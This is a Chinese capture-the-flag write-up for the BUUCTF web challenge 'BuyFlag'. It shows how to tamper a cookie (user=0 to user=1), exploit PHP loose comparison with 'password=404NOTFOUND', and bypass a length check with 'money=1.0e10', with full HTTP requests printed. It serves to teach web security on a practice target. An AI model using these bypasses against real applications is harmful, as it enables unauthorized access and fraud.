首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【BUUCTF】[极客大挑战 2019]BuyFlag

【BUUCTF】[极客大挑战 2019]BuyFlag

作者头像
熔城Sec
发布2026-07-22 20:33:17
发布2026-07-22 20:33:17
800
举报

01、题目简介

  • 题目名称:[极客大挑战 2019]BuyFlag
  • 题目平台:BUUCTF
  • 题目类型:Web

02、 解题步骤

启动并访问靶机

右键查看网页源代码,在代码中发现存在pay.php

访问pay.php

我们进行抓包分析,发现返回包中还存在一串代码

代码语言:javascript
复制
<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
	}elseif ($password == 404) {
echo "Password Right!</br>";
	}
}

同时我们在响应头中的Set-Cookie中发现user=0

然后我们将其修改为1后,伪装成Cuiter,并让我们输入密码

password的参数也由反回包的代码定义了,这段代码要求提交一个 password 参数,满足:不能是数字(is_numeric($password) 为假)并且等于 404。所以利用PHP 的松散比较 == 会进行类型转换,当字符串与整数比较时,字符串会被转换为整数,转换规则是从字符串开头取数字部分直到遇到非数字。

代码语言:javascript
复制
POST /pay.php HTTP/1.1
Host: f5d37dc5-fd7e-4b94-8ef8-e1795471f7cc.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 20

password=404NOTFOUND

接下来就是参照购买价格,在请求体里填写money参数

代码语言:javascript
复制
POST /pay.php HTTP/1.1
Host: f5d37dc5-fd7e-4b94-8ef8-e1795471f7cc.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 20

password=404NOTFOUND&money=100000000

这里提示Nember lenth is too long,为了绕过我们只需要将moey改成科学计数法就行了

代码语言:javascript
复制
POST /pay.php HTTP/1.1
Host: f5d37dc5-fd7e-4b94-8ef8-e1795471f7cc.node5.buuoj.cn:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 20

password=404NOTFOUND&money=1.0e10
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档